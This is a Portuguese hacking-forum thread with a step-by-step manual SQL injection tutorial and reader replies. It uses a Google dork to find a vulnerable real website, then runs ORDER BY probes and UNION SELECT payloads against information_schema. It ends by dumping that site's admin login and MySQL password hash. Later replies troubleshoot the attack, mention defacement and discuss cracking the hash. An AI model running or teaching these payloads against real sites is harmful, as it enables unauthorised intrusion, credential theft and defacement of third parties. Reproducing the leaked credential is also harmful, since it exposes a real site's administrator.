Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

SQLi Manual Completo

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Tutorial SQLi Manual Completo

    SQL Injection

    tradutor: 2-D


    Eae pessoal do brazilian hack, to traduzindo o tutorial retirado do HackBB, famoso forum hacker da deepweb. É um tutorial praticamente completo, desde o zero até conseguir login e senha!

    0x00 Este tutorial tem função meramente informativa, qualquer dano causado será de sua autoria, não tenho nada haver com isso.

    Nesta lição estaremos abordando os fundamentos de uma injeção de SQL comum. Vamos começar com a descoberta da vulnerabilidade e, eventualmente, explorando-o para "hackiar" o site. Existem algumas coisas que todos vocês devem saber antes de começar. Primeiro esta será uma lição "real", ou seja, os sites exibidos e usados, por exemplo, são reais e não estão sob o controle ou a propriedade de qualquer pessoa relacionada com o Brazilian Hack. Dito isto você pode optar por participar ou não nos exemplos. Em segundo lugar, existem alguns programas que você pode optar por usar, mas não são necessários só faz o trabalho um pouco mais fácil. Essas coisas que estão sendo usadas no Firefox como o addon HackBar. Assim, sem mais delongas, vamos iniciar nosso Tutorial de SQLi!!

    0x01

    No início o SQL (Structured Query Language) vem em algumas formas diferentes. MYSQL, MSSQL são as versões mais usadas, mas existem outras. Hoje vamos nos concentrar em MYSQL. As diferenças nas outras versões são principalmente sintaxe e formatação. Portanto, em teoria, uma vez que você aprende uma maneira é fácil de se adaptar a outra versão, simplesmente mudando suas injeções um pouco. SQL é uma linguagem de computador do banco de dados projetado para gerenciar dados em sistemas de gerenciamento de banco de dados relacional (RDBMS). Resumindo, é simplesmente um meio de extrair informações de um banco de dados. Por exemplo, se nós fossemos fazer uma busca em uma coleção de livros que estão separados a partir do nome do seu autor. Mas nós só queremos ver os do autor "Tolkien" uma simples consulta ficaria assim SELECT Título FROM livros Where Autor = "Tolkien" Isso mostraria exatamente o que queremos; todos os livros que são escritos por Tolkien em nossa lista de busca. Esta é a premissa para a exploração da vulnerabilidade em SQL.

    0x02

    Vulnerabilidades SQL ocorrem quando um programador permite a entrada de caracteres que criam uma comunicação com o Servidor. Um programador que não sanear as entradas de seus usuários esta pedindo para ser "hackiado". Ao sanear, quero dizer que ele / ela não filtra o que o usuário tem permissão de entrar e comunicar com o servidor. Por exemplo, se o programador não filtrar os caracteres <> 's, em seguida, o seu site poderia facilmente ser suscetível a injeção XSS mas isso fica para uma outra lição. A principal solução aqui é para aprender a sanear todas as entradas do usuário. NUNCA deixe um usuário final entrar com a informação que quiser, você sempre tem que verificá-los com algum tipo validação.

    0x03

    Algumas coisas que você deve saber, são os principais caracteres usados em declarações Mysql. Estes são os seguintes:
    Código:
     -, / *, #
    Esses são muito parecidos com qualquer outros caracteres em linguagem de programação que fazem com que o que vem a seguir não seja executado e é principalmente para o programador explicar ou comentar sobre o código escrito, para dizer como funciona, o que é necessário etc. Em seguida é preciso identificar os parâmetros disponíveis para um ataque de SQL. As principais coisas associadas com injeções sql são os parâmetros normalmente dados a php ou asp ou alguma outra linguagem, mas vamos nos concentrar em PHP. Um parâmetro como o seguinte
    Código:
    http://www.blah.com/index.php?id=1
    é um excelente exemplo de um ponto de partida comum para realizarmos uma injeção SQL. Há milhares de strings usadas para se identificar uma falha SQLi, mas as mais usadas ​​são id, category_id, notícias_id, etc. Basicamente qualquer string que você pensar pode ser vulnerável. Normalmente a injeção ocorre nas notícias ou seções da galeria de imagens de um website. A notícia é provavelmente a seção que contem mais vulnerabilidades e por sua vez, a mais usada em Injeções SQL, por isso vamos usar ela para um exemplo. Quando você vê um site com a string news.php id? = 1, então este é um ótimo local para tentar a sua injeção. O primeiro passo é verificar se algo acontece quando se põe uma
    Código:
    '
    após a string. Ou seja, deve ficar assim
    Código:
    news.php id?=1'
    isso deve causar um erro se o programador não tiver corrigido essa vulnerabilidade. Métodos de ataque ainda são 'e 1 = 1 -, Â' e 1 = 2 - ou alguma outra variante. Observe o caractere de comentário após sua injeção inicial, "caracter de comentário é --" Ele serve para comentar o resto da injeção de consulta e só a parte antes de -- será examinada e 1 = 1 -- sempre retornará verdadeiro. O que significa que a página deve carregar normalmente. Já 1 = 2 - deve causar um outro erro ou algum outro tipo de coisa como por exemplo, a página não está sendo exibida corretamente. Há casos em que você não consegue ver esses erros, mas isso é para uma lição avançada. Também tomamos nota de que 1 = 1 ou 1 = 2 não tem que ser necessariamente números, você poderia usar qualquer coisa que seja verdade como 'a' = 'a', você teria que adicionar o ' para ter certeza de que irá passar pelo banco de dados.

    0x04

    Daqui pra baixo o tuto vai por conta de 2-D,[S]hardock e o pessoal do Brazilian Hack

    Agora vamos passar para a diversão. Já foi dada bastante informação que nos ajudará em nossa jornada para o ataque SQL. Então vamos começar com um site real para testar as nossas capacidades.

    Primeiro temos que achar um site vull no google. Uma boa string para os iniciantes é :

    Código:
    allinurl:noticias.php?id=
    Com ela eu achei o seguinte site:

    Código:
    http://www.relaxefacatrilha.com.br/noticias.php?id=1290
    Logo em seguida eu botei ' depois do link e percebi que ele retornava um erro



    E agora? O que faremos? Primeiramente iremos ver quantas tabelas este site possui, usando o Order By. Você terá que testar até nao dar erro, por exemplo

    Código:
    http://www.relaxefacatrilha.com.br/noticias.php?id=1290 order by 10
    --> ser der erro diminua para 9, ser der de novo para 8 e assim por diante até nao dar erro.

    No nosso caso ficará:

    Código:
    http://www.relaxefacatrilha.com.br/noticias.php?id=1290 order by 6
    --> bom já descobrimos que ele possui 6 tabelas e agora?

    Teremos que unir essas tabelas em uma só. Para isso utilizaremos o comando UNION SELECT. Porém antes o site estava fazendo uma pesquisa e nós precisamos cancelar essa pesquisa para executar somente a nossa Query. Para isso usaremos o " - " dps de id=. Ficará assim:

    Código:
    http://www.relaxefacatrilha.com.br/noticias.php?id=-1290 UNION SELECT 1,2,3,4,5,6
    Feito isso, aparecerá um número, no caso o 4.

    --> depois de ter juntado as tabelas, precisamos descobrir os nomes delas. Para isso usaremos um série de comandos, vou lista-los abaixo.

    Código:
    group_concat(table_name)
    --> group_concat serve para mostrar o que vem a seguir no caso table_name
    Código:
    from information_schema.tables
    serve para mostrar as tabelas apenas da DB information_schema
    Código:
    where tables_schema=database()--
    --> funciona como um filtro

    Ao todo ficará assim:

    Código:
    http://www.relaxefacatrilha.com.br/noticias.php?id=-1290 UNION SELECT 1,2,3,group_concat%28table_name%29,5,6 from information_schema.tables where table_schema=database%28%29--
    --> é comum que no início as pessoas errem algumas letras e por isso ocorram erro. prestem atenção nos plurais


    Quando você fizer isso aparecerá os nomes das tabelas assim:

    Código:
    apresentacao,banner,enquete,fique_dentro,links,logins,mural,noticia,parceiros,publicidade,tb_album,tb_foto_album,trilhas,usuario,videos
    Agora é só usar a lógica para escolher a tabela. Uma vez que queremos o usuário e senha, essas informações só podem estar em "logins e usuario". Você pode testar as duas, mas normalmente esta em usuarios mesmo. Vamos ter que achar as colunas agora. E como faremos isso? Simples, iremos tirar onde esta escrito table(s) e por column(s) e por pra procurar apenas na table usuario. Ficará assim

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... UNION SELECT 1,2,3,group_concat%28column_name%29,5,6 from information_schema.columns where table_schema=0x7573756172696f--

    Ai vc me pergunta, 2-D, por que desse 0x7573756172696f?Não era pra por somente o nome da tabela?
    Sim jovem gafanhoto, o problema é que a DB "esta" em hexadecimal. Além disso você tem que por um filtro que é o "0x".
    Você sempre irá usar ele antes de por o nome da tabela em hexa. É por isso também que usamos %28 e %29. Na verdade eles são:
    Código:
    %28 = ( 
    %29 = )
    Use este site para passar o nome da tabela para hexa

    Código:
    http://www.string-functions.com/string-hex.aspx
    Continuando, depois de fazer isto aparecerá o nome das colunas:




    Agora é só por para mostrar as colunas que nós queremos. No caso login e senha. Usaremos a seguinte string:

    Código:
    http://www.relaxefacatrilha.com.br/noticias.php?id=-1290%20UNION%20SELECT%201,2,3,group_concat%28login,0x3d,senha%29,5,6%20from%20usuario
    --> Pra quem ta na dúvida quanto ao 0x3d, isso equivale a " = ". O 0x é um filtro e o 3d é " = " em hexa. É só pra senha não ficar junta do login.

    Após isso o login e senha aparecerão

    Login: admdinossauro
    Senha: *B73FF909C06302C23B058508BBC2634851406FAA <-- ela ta criptografada.


    Créditos: Introdução by HackBB traduzida por 2-D e Criyzzy Anon
    Tutorial by [S]hardock e 2-D
    Dedicado a: Brazilian Hack

  • Font Size
    #2
    muito bom kra bom topico os inciantes que nao sabiam como chamr a funçao tabel login,senha e etc. agora aprenderao nao e verdade?

    vlw kra ja te agradeci

    Comment


    • Font Size
      #3
      vlw ai, se o gh parar de censurar meus posts (nao sei por que fazem isso) continuarei postando meus tutos.
      D

      Comment


      • Font Size
        #4
        quem gostou favor clicar em obrigado

        Comment


        • Font Size
          #5
          Cara muito bom seu tópico com serteza que não sabe vai aprende.
          Pra que quiser também uma outra fonte recomendo o paper do fvox: Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...


          Notify-list ~ Twitter ~ E-mail

          Comment


          • Font Size
            #6
            vou dar uma lida

            Comment


            • Font Size
              #7
              kra me da uma ajuda aquii..
              na parte que eu descobri o nome da tables.. ai depois eu coloco o comando para saber o nome da coluna, elas nao aparecem!! mesmo no link que voce postou.. alguma restriçao para o navegador que eu usar?

              Comment


              • Font Size
                #8
                cara vc deve ta errando algo, me add brazilianhack2d@hotmail.com
                eu te explico la

                Comment


                • Font Size
                  #9
                  acabei de achar um erro... Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... UNION SELECT 1,2,3,group_concat%28column_name%29,5,6 from information_schema.columns where table_schema=0x7573756172696f--

                  na verdade é table_name, corrigindo*

                  Comment


                  • Font Size
                    #10
                    o meu so deu certo ate a parte da união la depois não funcionou... pq sera???

                    Comment


                    • Font Size
                      #11
                      Mas... Se quando eu colocar o UNION SELETED não aparecer nenhum número na página e ela ficar normal? o que eu devo fazer? porque fica assim?

                      Comment


                      • Font Size
                        #12
                        mano muito bom seu post gostei muito do tuto ajudou pacas
                        iniciando de volta aos estudo de defacement vlw parceiro
                        sigpic

                        Comment


                        • Font Size
                          #13
                          qual é o tipo de encriptação da senha? nao consigo descobrir

                          Comment


                          • Font Size
                            #14
                            é uma encriptaçao automatica do mysql > 5, a maioria que ler este post nao vai conseguir descriptar, por isso mesmo eu nao botei a senha descriptada, assim evita de alguem realizar o deface e o site que eu utilizei no tuto ficar invalido

                            Comment


                            • Font Size
                              #15
                              O tutorial ficou ótimo, unico problema são as senhas encryptadas, nunca consigo decryptalas =x essa mesmo que você citou utiliza mysql 5 sha1, não consegui decrypta-la.

                              Comment

                              X
                              Working...
                              X